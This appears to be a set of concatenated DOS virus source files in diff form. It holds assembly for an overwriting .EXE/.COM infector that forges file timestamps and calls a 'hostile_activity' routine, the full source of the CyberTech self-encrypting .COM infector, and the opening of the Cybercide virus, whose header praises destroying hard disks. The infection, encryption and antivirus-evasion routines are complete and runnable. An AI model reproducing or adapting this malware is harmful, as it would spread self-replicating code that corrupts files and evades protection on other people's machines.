push ax
|
||||
lea ax,word ptr [bp-36]
|
||||
push ax
|
||||
push si
|
||||
call near ptr __read
|
||||
add sp,6
|
||||
;
|
||||
; close(handle);
|
||||
;
|
||||
push si
|
||||
call near ptr _close
|
||||
inc sp
|
||||
inc sp
|
||||
;
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; printf("Signature for %s: %.4s\n", fname, &virus_signature[28]);
|
||||
; #endif
|
||||
;
|
||||
; /* This next bit may look really stupid, but it actually saves about
|
||||
; 100 bytes.
|
||||
; */
|
||||
;
|
||||
; return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1])
|
||||
;
|
||||
;
|
||||
; && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3]));
|
||||
;
|
||||
mov al,byte ptr [bp-8]
|
||||
cmp al,byte ptr DGROUP:d@+11
|
||||
jne short @2@146
|
||||
mov al,byte ptr [bp-7]
|
||||
cmp al,byte ptr DGROUP:d@+11+1
|
||||
jne short @2@146
|
||||
mov al,byte ptr [bp-6]
|
||||
cmp al,byte ptr DGROUP:d@+11+2
|
||||
jne short @2@146
|
||||
mov al,byte ptr [bp-5]
|
||||
cmp al,byte ptr DGROUP:d@+11+3
|
||||
jne short @2@146
|
||||
mov ax,1
|
||||
jmp short @2@170
|
||||
@2@146:
|
||||
xor ax,ax
|
||||
@2@170:
|
||||
;
|
||||
; }
|
||||
;
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
_infected endp
|
||||
;
|
||||
; void spread(char *virus, struct ffblk *victim)
|
||||
;
|
||||
assume cs:_TEXT
|
||||
_spread proc near
|
||||
push bp
|
||||
mov bp,sp
|
||||
sub sp,4740
|
||||
push si
|
||||
push di
|
||||
;
|
||||
; {
|
||||
; /* This function infects victim with virus. First, the victim's
|
||||
; attributes are set to 0. Then the virus is copied into
|
||||
; the victim's file name. Its attributes, file date/time, and
|
||||
; size are set to that of the victim's, preventing detection, and
|
||||
; the files are closed.
|
||||
; */
|
||||
;
|
||||
; register int virus_handle, victim_handle;
|
||||
; unsigned virus_size;
|
||||
; char virus_code[TOO_SMALL + 1], *victim_name;
|
||||
;
|
||||
;
|
||||
; /* This is used enought to warrant saving it in a separate variable */
|
||||
;
|
||||
; victim_name = victim->ff_name;
|
||||
;
|
||||
mov ax,word ptr [bp+6]
|
||||
add ax,30
|
||||
mov word ptr [bp-4],ax
|
||||
;
|
||||
;
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; printf("Infecting %s with %s...\n", victim_name, virus);
|
||||
; #endif
|
||||
;
|
||||
; /* Turn off all of the victim's attributes so it can be replaced */
|
||||
;
|
||||
; _chmod(victim_name, 1, 0);
|
||||
;
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov ax,1
|
||||
push ax
|
||||
push word ptr [bp-4]
|
||||
call near ptr __chmod
|
||||
add sp,6
|
||||
;
|
||||
;
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; puts("Ok so far...");
|
||||
; #endif
|
||||
;
|
||||
; /* Recreate the victim */
|
||||
;
|
||||
; virus_handle = _open(virus, O_RDONLY);
|
||||
;
|
||||
mov ax,1
|
||||
push ax
|
||||
push word ptr [bp+4]
|
||||
call near ptr __open
|
||||
add sp,4
|
||||
mov di,ax
|
||||
;
|
||||
; victim_handle = _creat(victim_name, victim->ff_attrib);
|
||||
;
|
||||
mov bx,word ptr [bp+6]
|
||||
mov al,byte ptr [bx+21]
|
||||
cbw
|
||||
push ax
|
||||
push word ptr [bp-4]
|
||||
call near ptr __creat
|
||||
add sp,4
|
||||
mov si,ax
|
||||
;
|
||||
;
|
||||
;
|
||||
; /* Copy virus */
|
||||
;
|
||||
; virus_size = _read(virus_handle, virus_code, sizeof(virus_code));
|
||||
;
|
||||
mov ax,4736
|
||||
push ax
|
||||
lea ax,word ptr [bp-4740]
|
||||
push ax
|
||||
push di
|
||||
call near ptr __read
|
||||
add sp,6
|
||||
mov word ptr [bp-2],ax
|
||||
;
|
||||
; _write(victim_handle, virus_code, virus_size);
|
||||
;
|
||||
push ax
|
||||
lea ax,word ptr [bp-4740]
|
||||
push ax
|
||||
push si
|
||||
call near ptr __write
|
||||
add sp,6
|
||||
;
|
||||
;
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; puts("Almost done...");
|
||||
; #endif
|
||||
;
|
||||
; /* Reset victim's file date, time, and size */
|
||||
;
|
||||
; chsize(victim_handle, victim->ff_fsize);
|
||||
;
|
||||
mov bx,word ptr [bp+6]
|
||||
push word ptr [bx+28]
|
||||
push word ptr [bx+26]
|
||||
push si
|
||||
call near ptr _chsize
|
||||
add sp,6
|
||||
;
|
||||
; setftime(victim_handle, (struct ftime *) &victim->ff_ftime);
|
||||
;
|
||||
mov ax,word ptr [bp+6]
|
||||
add ax,22
|
||||
push ax
|
||||
push si
|
||||
call near ptr _setftime
|
||||
add sp,4
|
||||
;
|
||||
;
|
||||
;
|
||||
; /* Close files */
|
||||
;
|
||||
; close(virus_handle);
|
||||
;
|
||||
push di
|
||||
call near ptr _close
|
||||
inc sp
|
||||
inc sp
|
||||
;
|
||||
; close(victim_handle);
|
||||
;
|
||||
push si
|
||||
call near ptr _close
|
||||
inc sp
|
||||
inc sp
|
||||
;
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; puts("Infection complete!");
|
||||
; #endif
|
||||
; }
|
||||
;
|
||||
pop di
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
_spread endp
|
||||
_TEXT ends
|
||||
_DATA segment word public 'DATA'
|
||||
dw DGROUP:s@
|
||||
dw DGROUP:s@+6
|
||||
db 0
|
||||
db 0
|
||||
_DATA ends
|
||||
_BSS segment word public 'BSS'
|
||||
db 43 dup (?)
|
||||
_BSS ends
|
||||
_TEXT segment byte public 'CODE'
|
||||
;
|
||||
; struct ffblk *victim(void)
|
||||
;
|
||||
assume cs:_TEXT
|
||||
_victim proc near
|
||||
push bp
|
||||
mov bp,sp
|
||||
push si
|
||||
push di
|
||||
;
|
||||
; {
|
||||
; /* This function returns a pointer to the name of the virus's next
|
||||
; victim. This routine is set up to try to infect .EXE and .COM
|
||||
; files. If there is a command line argument, it will try to infect
|
||||
; that file instead. If all files are infected, hostile activity
|
||||
; is initiated...
|
||||
; */
|
||||
;
|
||||
; register int done;
|
||||
; register char **ext;
|
||||
; static char *types[] = {"*.EXE", "*.COM", NULL};
|
||||
; static struct ffblk ffblk;
|
||||
;
|
||||
; for (ext = (*++_argv) ? _argv : types; *ext; ext++) {
|
||||
;
|
||||
add word ptr DGROUP:__argv,2
|
||||
mov bx,word ptr DGROUP:__argv
|
||||
cmp word ptr [bx],0
|
||||
je short @4@74
|
||||
mov ax,word ptr DGROUP:__argv
|
||||
jmp short @4@98
|
||||
@4@74:
|
||||
mov ax,offset DGROUP:d@w+16
|
||||
@4@98:
|
||||
mov si,ax
|
||||
jmp short @4@362
|
||||
@4@122:
|
||||
;
|
||||
; done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH);
|
||||
;
|
||||
mov ax,39
|
||||
push ax
|
||||
mov ax,offset DGROUP:b@w+0
|
||||
push ax
|
||||
push word ptr [si]
|
||||
call near ptr _findfirst
|
||||
add sp,6
|
||||
jmp short @4@290
|
||||
@4@146:
|
||||
;
|
||||
; while (!done) {
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; printf("Scanning %s...\n", ffblk.ff_name);
|
||||
; #endif
|
||||
;
|
||||
; /* If you want to check for specific days of the week, months, etc.,
|
||||
; here is the place to insert the code (don't forget to "#include
|
||||
; <time.h>").
|
||||
; */
|
||||
;
|
||||
; if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name)))
|
||||
;
|
||||
cmp word ptr DGROUP:b@w+0+28,0
|
||||
jl short @4@266
|
||||
jg short @4@218
|
||||
cmp word ptr DGROUP:b@w+0+26,4735
|
||||
jbe short @4@266
|
||||
@4@218:
|
||||
mov ax,offset DGROUP:b@w+0+30
|
||||
push ax
|
||||
call near ptr _infected
|
||||
inc sp
|
||||
inc sp
|
||||
or ax,ax
|
||||
jne short @4@266
|
||||
;
|
||||
; return(&ffblk);
|
||||
;
|
||||
mov ax,offset DGROUP:b@w+0
|
||||
jmp short @4@410
|
||||
@4@266:
|
||||
;
|
||||
; done = findnext(&ffblk);
|
||||
;
|
||||
mov ax,offset DGROUP:b@w+0
|
||||
push ax
|
||||
call near ptr _findnext
|
||||
inc sp
|
||||
inc sp
|
||||
@4@290:
|
||||
mov di,ax
|
||||
or di,di
|
||||
je short @4@146
|
||||
inc si
|
||||
inc si
|
||||
@4@362:
|
||||
cmp word ptr [si],0
|
||||
jne short @4@122
|
||||
;
|
||||
; }
|
||||
; }
|
||||
;
|
||||
;
|
||||
; /* If there are no files left to infect, have a little fun */
|
||||
;
|
||||
; hostile_activity();
|
||||
;
|
||||
call near ptr _hostile_activity
|
||||
@4@410:
|
||||
;
|
||||
; }
|
||||
;
|
||||
pop di
|
||||
pop si
|
||||
pop bp
|
||||
ret
|
||||
_victim endp
|
||||
_TEXT ends
|
||||
_DATA segment word public 'DATA'
|
||||
dw DGROUP:s@+12
|
||||
dw DGROUP:s@+26
|
||||
dw DGROUP:s@+41
|
||||
dw DGROUP:s@+61
|
||||
dw DGROUP:s@+78
|
||||
dw DGROUP:s@+97
|
||||
dw DGROUP:s@+115
|
||||
dw DGROUP:s@+144
|
||||
_DATA ends
|
||||
_TEXT segment byte public 'CODE'
|
||||
;
|
||||
; int main(void)
|
||||
;
|
||||
assume cs:_TEXT
|
||||
_main proc near
|
||||
push bp
|
||||
mov bp,sp
|
||||
push si
|
||||
;
|
||||
; {
|
||||
; /* In the main program, a victim is found and infected. If all files
|
||||
; are infected, a malicious action is performed. Otherwise, a bogus
|
||||
; error message is displayed, and the virus terminates with code
|
||||
; 1, simulating an error.
|
||||
; */
|
||||
;
|
||||
; static char *err_msg[] = {"Out of memory", "Bad EXE format",
|
||||
; "Invalid DOS version", "Bad memory block",
|
||||
; "FCB creation error", "Sharing violation",
|
||||
; "Abnormal program termination",
|
||||
; "Divide error"
|
||||
; };
|
||||
; register char *virus_name = *_argv;
|
||||
;
|
||||
mov bx,word ptr DGROUP:__argv
|
||||
mov si,word ptr [bx]
|
||||
;
|
||||
;
|
||||
; spread(virus_name, victim());
|
||||
;
|
||||
call near ptr _victim
|
||||
push ax
|
||||
push si
|
||||
call near ptr _spread
|
||||
add sp,4
|
||||
;
|
||||
; puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]);
|
||||
;
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov bx,word ptr es:[1132]
|
||||
and bx,7
|
||||
shl bx,1
|
||||
push word ptr DGROUP:d@w+22[bx]
|
||||
call near ptr _puts
|
||||
inc sp
|
||||
inc sp
|
||||
;
|
||||
; return(1);
|
||||
;
|
||||
mov ax,1
|
||||
;
|
||||
; }
|
||||
;
|
||||
pop si
|
||||
pop bp
|
||||
ret
|
||||
_main endp
|
||||
?debug C E9
|
||||
_TEXT ends
|
||||
_DATA segment word public 'DATA'
|
||||
s@ label byte
|
||||
db '*.EXE'
|
||||
db 0
|
||||
db '*.COM'
|
||||
db 0
|
||||
db 'Out of memory'
|
||||
db 0
|
||||
db 'Bad EXE format'
|
||||
db 0
|
||||
db 'Invalid DOS version'
|
||||
db 0
|
||||
db 'Bad memory block'
|
||||
db 0
|
||||
db 'FCB creation error'
|
||||
db 0
|
||||
db 'Sharing violation'
|
||||
db 0
|
||||
db 'Abnormal program termination'
|
||||
db 0
|
||||
db 'Divide error'
|
||||
db 0
|
||||
_DATA ends
|
||||
_TEXT segment byte public 'CODE'
|
||||
_TEXT ends
|
||||
extrn __creat:near
|
||||
extrn __open:near
|
||||
public _infected
|
||||
extrn _findfirst:near
|
||||
extrn _findnext:near
|
||||
public _hostile_activity
|
||||
extrn _setftime:near
|
||||
extrn __read:near
|
||||
public _victim
|
||||
extrn _puts:near
|
||||
extrn __argv:word
|
||||
public _main
|
||||
extrn _chsize:near
|
||||
public _screw_virex
|
||||
extrn _close:near
|
||||
public _spread
|
||||
extrn __write:near
|
||||
extrn __chmod:near
|
||||
extrn _abswrite:near
|
||||
end
|
||||
|
||||
@@ -0,0 +1,427 @@
|
||||
;
|
||||
; CyberTech Virus - Strain A John Tardy (C) 1992
|
||||
;
|
||||
; Written in A86 V3.22
|
||||
;
|
||||
; Description : This is a Non-Resident Self-Encrypting .COM file infector
|
||||
; which infects COM files in the current directory. It will
|
||||
; remove CHKLIST.CPS from the current directory after it has
|
||||
; infected a program. CHKLIST.CPS is a file which is used by
|
||||
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
|
||||
; validation code is added by SCAN of McAfee, it will overwrite
|
||||
; the code, so the file is no longer CRC protected anymore.
|
||||
; After 1992, the virus activated. It then displays a message
|
||||
; that your system has been infected. The virus will remove
|
||||
; itself from the infected file and completely restore it. If
|
||||
; a validation code was added, it is lost, but the file is not
|
||||
; corrupted and will function normally. Even when the file is
|
||||
; compressed afterwards by an executable file compressor, it is
|
||||
; uncompressed. Before 1993, the virus sometimes display it's
|
||||
; copyright. This is caused when the random encryption counter
|
||||
; is a 0. It will redefine it, so there is no visible text in
|
||||
; the virus. It checks also if there is enough diskspace
|
||||
; aveable and installs a critical error handler.
|
||||
;
|
||||
Org 0h ; Generate .BIN file
|
||||
|
||||
Start: Jmp MainVir ; Jump to decryptor code at EOF
|
||||
|
||||
Db '*' ; Virus signature (very short)
|
||||
|
||||
;
|
||||
; Decryptor procedure
|
||||
;
|
||||
|
||||
MainVir: Call On1 ; Push offset on stack
|
||||
|
||||
On1: Pop BP ; Calculate virus offset
|
||||
Sub BP,Offset MainVir+3 ;
|
||||
|
||||
Push Ax ; Save possible error code
|
||||
|
||||
Lea Si,Crypt[BP] ; Decrypt the virus with a
|
||||
Mov Di,Si ; very simple exclusive or
|
||||
Mov Cx,CryptLen ; function.
|
||||
Decrypt: Lodsb ;
|
||||
Xor Al,0 ;
|
||||
Stosb ;
|
||||
Loop Decrypt ;
|
||||
|
||||
DecrLen Equ $-MainVir ; Length of the decryptor
|
||||
|
||||
;
|
||||
; Main initialization procedure
|
||||
;
|
||||
|
||||
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
|
||||
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
|
||||
Mov Cs:Start+100h,Ax ;
|
||||
Mov Cs:Start[2]+100h,Bx ;
|
||||
|
||||
Xor Ax,Ax ; Get original interrupt 24
|
||||
Push Ax ; (critical error handler)
|
||||
Pop Ds ;
|
||||
Mov Bx,Ds:[4*24h] ;
|
||||
Mov Es,Ds:[4*24h]+4 ;
|
||||
|
||||
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
|
||||
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
|
||||
|
||||
Lea Bx,NewInt24[Bp] ; Install own critical error
|
||||
Push Cs ; handler to avoid messages
|
||||
Pop Es ; when a disk is write
|
||||
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
|
||||
Mov Word Ptr Ds:[4*24h]+2,Es ;
|
||||
Push Cs ;
|
||||
Pop Ds ;
|
||||
|
||||
Mov Ah,30h ; Check if DOS version is
|
||||
Int 21h ; 3.0 or above for correct
|
||||
Cmp Al,3 ; interrupt use
|
||||
Jae On2 ;
|
||||
Jmp Ready ;
|
||||
|
||||
On2: Mov Ax,3600h ; Check if enough disk space
|
||||
Xor Dx,Dx ; is aveable for infecting
|
||||
Int 21h ; (3 clusters should be
|
||||
Cmp Bx,3 ; enough i think)
|
||||
Ja TestDate ;
|
||||
Jmp Ready ;
|
||||
|
||||
TestDate: Mov Ah,2ah ; Check if 1992 is past time
|
||||
Int 21h ; already
|
||||
Cmp Cx,1993 ;
|
||||
Jae Clean ; - 1993 or more
|
||||
Jmp NoClean ; - Not 1993 or more
|
||||
|
||||
;
|
||||
; Main Cleanup procedure
|
||||
;
|
||||
|
||||
Clean: Push Cs ; Show message that the
|
||||
Pop Ds ; system has been infected
|
||||
Mov Ah,9 ;
|
||||
Lea Dx,Removed[Bp] ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,1ah ; Move DTA to a safe place
|
||||
Mov Dx,0fd00h ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,Cs:[2ch] ; Find the name of the
|
||||
Mov Ds,Ax ; program that is now
|
||||
Mov Si,0 ; executed (me must search in
|
||||
Mov Cx,4000h ; the DOS environment for
|
||||
Seeker: Lodsb ; safe tracking of the name
|
||||
Cmp Al,1 ;
|
||||
Je On3 ;
|
||||
Loop Seeker ;
|
||||
|
||||
On3: Inc Si ; Transfer the found name
|
||||
Push Cs ; to a safe address in memory
|
||||
Pop Es ;
|
||||
Mov Di,0fd80h ;
|
||||
Mov Cx,80h ;
|
||||
Trans: Lodsb ;
|
||||
Cmp Al,0h ;
|
||||
Jne Verder ;
|
||||
Xor Ax,Ax ;
|
||||
Verder: Stosb ;
|
||||
Loop Trans ;
|
||||
|
||||
Push Cs ; Read file attributes and
|
||||
Pop Ds ; check if an error has
|
||||
Mov Ax,4300h ; occured
|
||||
Mov Dx,0fd80h ;
|
||||
Int 21h ;
|
||||
Jnc DeInfect ; - No error, DeInfect
|
||||
Jmp Ready ; - Error, Ready
|
||||
|
||||
DeInfect: Push Cx ; Store old file attributes
|
||||
|
||||
Mov Ax,4301h ; Clear file attributes
|
||||
Xor Cx,Cx ; (for read only etc.)
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,3d02h ; Open the file
|
||||
Int 21h ;
|
||||
|
||||
Mov Bx,Ax ; Read file date/time stamp
|
||||
Mov Ax,5700h ; and store it on the stack
|
||||
Int 21h ; for later use
|
||||
Push Cx ;
|
||||
Push Dx ;
|
||||
|
||||
Mov Ah,3eh ; Close file
|
||||
Int 21h ;
|
||||
|
||||
Mov Dx,0fd80h ; Create a new file with the
|
||||
Xor Cx,Cx ; same name
|
||||
Mov Ah,3ch ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Bx,Ax ; store file handle in BX
|
||||
|
||||
Mov Ah,40h ; write memory image of host
|
||||
Mov Dx,100h ; program to file (the original
|
||||
Mov Cx,Bp ; file is now back again)
|
||||
Sub Cx,0fch ;
|
||||
Int 21h ;
|
||||
|
||||
Pop Dx ; restore file date/time
|
||||
Pop Cx ; stamp
|
||||
Mov Ax,5701h ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,3eh ; close file
|
||||
Int 21h ;
|
||||
|
||||
Pop Cx ; restore file attributes
|
||||
Mov Ax,4301h ;
|
||||
Mov Dx,0fd80h ;
|
||||
Int 21h ;
|
||||
|
||||
Push Cs ; jump to ready routine
|
||||
Pop Ds ; (shutdown of the virus)
|
||||
Jmp Ready ;
|
||||
|
||||
;
|
||||
; Main viral part
|
||||
;
|
||||
|
||||
NoClean: Mov Ah,1ah ; Store DTA at safe place
|
||||
Mov Dx,0fd00h ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,4eh ; FindFirsFile Function
|
||||
|
||||
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
|
||||
Xor Cx,Cx ; in FileSpec adress
|
||||
Int 21h ;
|
||||
Jnc Found ; Found - Found
|
||||
Jmp Ready ; Not Found - Ready
|
||||
|
||||
Found: Mov Ax,4300h ; Get file attributes and
|
||||
Mov Dx,0fd1eh ; store them on the stack
|
||||
Int 21h ;
|
||||
Push Cx ;
|
||||
|
||||
Mov Ax,4301h ; clear file attributes
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,3d02h ; open file with read/write
|
||||
Int 21h ; access
|
||||
|
||||
Mov Bx,5700h ; save file date/time stamp
|
||||
Xchg Ax,Bx ; on the stack
|
||||
Int 21h ;
|
||||
Push Cx ;
|
||||
Push Dx ;
|
||||
|
||||
Mov Ah,3fh ; read the first 4 bytes of
|
||||
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
|
||||
Mov Cx,4 ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
|
||||
Cmp Ax,'ZM' ;
|
||||
Je ExeFile ;
|
||||
|
||||
Cmp Ax,'MZ' ; Check if renamed weird exe-
|
||||
Je ExeFile ; file
|
||||
|
||||
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
|
||||
Cmp Ah,'*' ;
|
||||
Jne Infect ;
|
||||
|
||||
ExeFile: Call Close ; If one of the checks is yes,
|
||||
Mov Ah,4fh ; close file and search next
|
||||
Jmp Search ; file
|
||||
|
||||
FSeek: Xor Cx,Cx ; subroutine to jump to end
|
||||
Xor Dx,Dx ; or begin of file
|
||||
Int 21h ;
|
||||
Ret ;
|
||||
|
||||
Infect: Mov Ax,4202h ; jump to EOF
|
||||
Call FSeek ;
|
||||
|
||||
Cmp Ax,0f900 ; Check if file too large
|
||||
Jae ExeFile ; if yes, goto exefile
|
||||
|
||||
Cmp Ax,10 ; Check if file too short
|
||||
Jbe ExeFile ; if yes, goto exefile
|
||||
|
||||
Mov Cx,Dx ; calculate pointer to offset
|
||||
Mov Dx,Ax ; EOF-52 (for McAfee validation
|
||||
Sub Dx,52 ; codes)
|
||||
|
||||
Mov Si,Cx ; move file pointer to the
|
||||
Mov Di,Dx ; calculated address
|
||||
Mov Ax,4200h ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,3fh ; read the last 52 bytes
|
||||
Mov Dx,0fb00h ; of the file
|
||||
Mov Cx,52 ;
|
||||
Int 21h ;
|
||||
|
||||
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
|
||||
Jne Check2 ; AG option
|
||||
Cmp Ds:0fb02h,0aac5h ;
|
||||
Jne Check2 ;
|
||||
|
||||
Mov Ax,4200h ; yes - let virus overwrite
|
||||
Mov Cx,Si ; the code with itself, so
|
||||
Mov Dx,Di ; the file has no validation
|
||||
Int 21h ; code
|
||||
Jmp CalcVirus ;
|
||||
|
||||
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
|
||||
Jne Eof ; AV option
|
||||
Cmp Ds:0Fb02h+42,0aac5h ;
|
||||
Jne Eof ;
|
||||
|
||||
Mov Ax,4200h ; yes - let virus overwrite
|
||||
Mov Cx,Si ; the code with itself, so
|
||||
Mov Dx,Di ; the file has no validation
|
||||
Add Dx,42 ; code
|
||||
Int 21h ;
|
||||
Jmp CalcVirus ;
|
||||
|
||||
Eof: Mov Ax,4202h ; not AG or AV - jump to
|
||||
Call Fseek ; EOF
|
||||
|
||||
CalcVirus: Sub Ax,3 ; calculate the jump for the
|
||||
Mov Cs:CallPtr[BP]+1,Ax ; virus start
|
||||
|
||||
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
|
||||
Int 21h ; encryption value.
|
||||
Cmp Dl,0 ; if not zero, goto NoZero
|
||||
Jne NoZero ;
|
||||
|
||||
Mov Ah,9 ; If zero, display copyright
|
||||
Lea Dx,Msg[Bp] ; message and generate again
|
||||
Int 21h ; a number
|
||||
Jmp GetCrypt ;
|
||||
|
||||
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
|
||||
|
||||
Lea Si,MainVir[BP] ; Move changed decryptor to
|
||||
Mov Di,0fb00h ; a safe place in memory
|
||||
Mov Cx,DecrLen ;
|
||||
Rep Movsb ;
|
||||
|
||||
Lea Si,Crypt[BP] ; Encrypt the virus and merge
|
||||
Mov Cx,CryptLen ; it to the changed decryptor
|
||||
Encrypt: Lodsb ; code
|
||||
Xor Al,Dl ;
|
||||
Stosb ;
|
||||
Loop Encrypt ;
|
||||
|
||||
Mov Ah,40h ; append virus at EOF or over
|
||||
Lea Dx,0fb00h ; the validation code of
|
||||
Mov Cx,VirLen ; McAfee
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,4200h ; Jump to BOF
|
||||
Call FSeek ;
|
||||
|
||||
Mov Ah,40h ; Write Jump at BOF
|
||||
Lea Dx,CallPtr[BP] ;
|
||||
Mov Cx,4 ;
|
||||
Int 21h ;
|
||||
|
||||
Call Close ; Jump to Close routine
|
||||
|
||||
Ready: Mov Ah,1ah ; Restore DTA to normal
|
||||
Mov Dx,80h ; offset
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
|
||||
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
|
||||
Xor Bx,Bx ; original handler at the
|
||||
Push Bx ; interrupt table
|
||||
Pop Ds ;
|
||||
Mov Ds:[4*24h],Dx ;
|
||||
Mov Ds:[4*24h]+2,Ax ;
|
||||
Push Cs ;
|
||||
Pop Ds ;
|
||||
|
||||
Pop Ax ; restore possible error code
|
||||
|
||||
Mov Bx,100h ; nice way to jump to the
|
||||
Push Cs ; begin of the original host
|
||||
Push Bx ; code
|
||||
Retf ;
|
||||
|
||||
Close: Pop Si ; why???
|
||||
|
||||
Pop Dx ; restore file date/time
|
||||
Pop Cx ; stamp
|
||||
Mov Ax,5701h ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,3eh ; close file
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,4301h ; restore file attributes
|
||||
Pop Cx ;
|
||||
Mov Dx,0fd1eh ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,41h ; delete CHKLIST.CPS (the
|
||||
Lea Dx,CpsName[BP] ; Central Point CRC list)
|
||||
Int 21h ;
|
||||
|
||||
Push Si ; why???
|
||||
Ret
|
||||
|
||||
;
|
||||
; Message when we are in 1993
|
||||
;
|
||||
|
||||
Removed Db 13,10,'The previous year you have been infected by a virus'
|
||||
Db 13,10,'without knowing or removing it. To be gentle to you'
|
||||
Db 13,10,'I decided to remove myself from your system. I suggest'
|
||||
Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
|
||||
Db 13,10,'complete security of your precious data. Next time you'
|
||||
Db 13,10,'could be infected with a malevolent virus.'
|
||||
Db 13,10,10,'May I say goodbye to you for now....',13,10
|
||||
|
||||
;
|
||||
; Message when encryption byte = 0 or when we are living in 1993
|
||||
;
|
||||
|
||||
Msg Db 13,10,'CyberTech Virus - Strain A'
|
||||
Db 13,10,'(C) 1992 John Tardy of Trident'
|
||||
Db 13,10,'$'
|
||||
|
||||
;
|
||||
; New critical error handler
|
||||
;
|
||||
|
||||
NewInt24: Mov Al,3 ; supress any critical error
|
||||
Iret ; messages
|
||||
|
||||
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
|
||||
|
||||
OldInt24 Dd 0 ; storage place for old int 24
|
||||
|
||||
CallPtr Db 0e9h,0,0 ; jump to place at BOF
|
||||
|
||||
FileSpec Db '*.COM',0 ; filespec and infection marker
|
||||
|
||||
OrgPrg: Int 20h ; original program
|
||||
Db 'JT' ;
|
||||
|
||||
CryptLen Equ $-Crypt ; encrypted part length
|
||||
|
||||
VirLen Equ $-MainVir ; total virus length
|
||||
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,999 @@
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
||||
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
|
||||
; ;
|
||||
; Cybercide 1.00 - The original source-code ;
|
||||
; Copyright (c) -91 by Cruel Entity / Macaroni Ted ;
|
||||
; ;
|
||||
; This one is really old now. Mcaffe virus scanner have detected it for ;
|
||||
; years. Therefor I've decided to realease it. I hope you'll learn some- ;
|
||||
; thing from it. You are free to use routines from it and also rebuild ;
|
||||
; it. Just give me some credits. ;
|
||||
; ;
|
||||
; I hope you'll feel the nice feeling you get when you hear that many ;
|
||||
; hard-disks have been destroyed by you virus. So keep up the good work ;
|
||||
; and write more virus. ;
|
||||
; ;
|
||||
; Of cource I can't take any responsibility for all virus-coders who ;
|
||||
; use any of the routines in this virus. ;
|
||||
; ;
|
||||
; Greetings to; God for creating AT&T's ;
|
||||
; ;
|
||||
; ps! Tasm /m3 and tlink /t to get this babe into executable! ;
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
||||
start:
|
||||
call $+3
|
||||
sub_this: pop bp
|
||||
|
||||
mov ax,0dd22h ;are we already in memory?
|
||||
int 21h
|
||||
cmp ax,03d33h
|
||||
jne $+7
|
||||
lea dx,[bp+(cancel-sub_this)]
|
||||
jmp far ptr dx
|
||||
|
||||
mov ax,3521h ;get int 21h vect
|
||||
